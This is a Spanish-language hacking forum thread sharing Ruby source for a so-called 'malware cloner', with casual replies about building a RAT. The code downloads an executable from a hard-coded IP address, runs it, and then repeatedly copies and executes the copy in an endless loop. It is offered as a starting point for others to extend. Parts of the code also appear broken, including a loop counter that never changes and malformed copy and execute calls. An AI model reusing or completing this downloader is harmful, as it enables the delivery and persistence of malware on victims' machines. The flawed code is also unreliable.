Bueno andaba aburrido como siempre y me puse a escribir un ejemplo de un "Clonador de Malwares".
Es un humilde code pero se puede mejorar añadiendo cosas yo solo os dejo un ejemplo de como sería mas o menos.

Aquí dejo el code explicado :

Código: Seleccionar todo

#Clonador de Malware - Ruby Code Example
#Coded by Sanko

require 'Win32API'
require 'open-uri'

#Aclaración , el @ delante de la var la convierte en var global

@filedown = 'C:\sk.exe' #var con archivo a descargar
@url = 'http://199.91.152.68/n8xy2336l4og/67fcyfx9xsf31mz/sk.exe' #var con ruta de descarga directa para el down
@fileacopiar = @filedown #igualamos la var del archivo que copiaremos o clonaremos a la var del archivo a descargar
@clon = 'C:\tets\clon.exe' #ruta en la que el clon se copiara
@timeclon = 5 #marcamos el tiempo del sleep

def copy
	system('Copy ' + @fileacopiar + ',' + @clon) #Copiamos el archivo a copiar en la ruta que indica @clon
end

def execute
	aplicacion = Thread.start do
   		system @clon #ejecutamos al clon cuando se copie
	end
end

def down #función del downloader que nos descargara y ejecutara a @filedown/@fileacopiar
	@filedown = open(@filedown, "wb")
	@filedown.write(open(@url).read)
	@filedown.close
	appdown = Thread.start do
		system @filedown
	end
end

def executeandcopy
	var = 0
	while var < 10
		sleep @timeclon #cada @timeclon segundos...
		copy #ejecuta la funcion copy
		execute #ejecuta la funcion execute
	end
end

down #ejecutamos la funcion down
executeandcopy #Despues ejecutamos la funcion executeandcopy
Espero os sirva , no daré todo masticado pues quien quiera desarrollar el code tendra que pensar en como añadirle mas cosas.
SuC escribió:Cuando vendrá el rat en ruby ?XD

buena marica
Sin prisa puto , aun debo mirarme mucho las apis de windows en ruby para traducir buenas funciones.
KHC escribió:Por que todos buscan el RAT?
Los rats son el asco pues , pero no son tan dificiles de hacer y para aprender y sacar funciones me valen xd.
Responder

Volver a “Fuentes”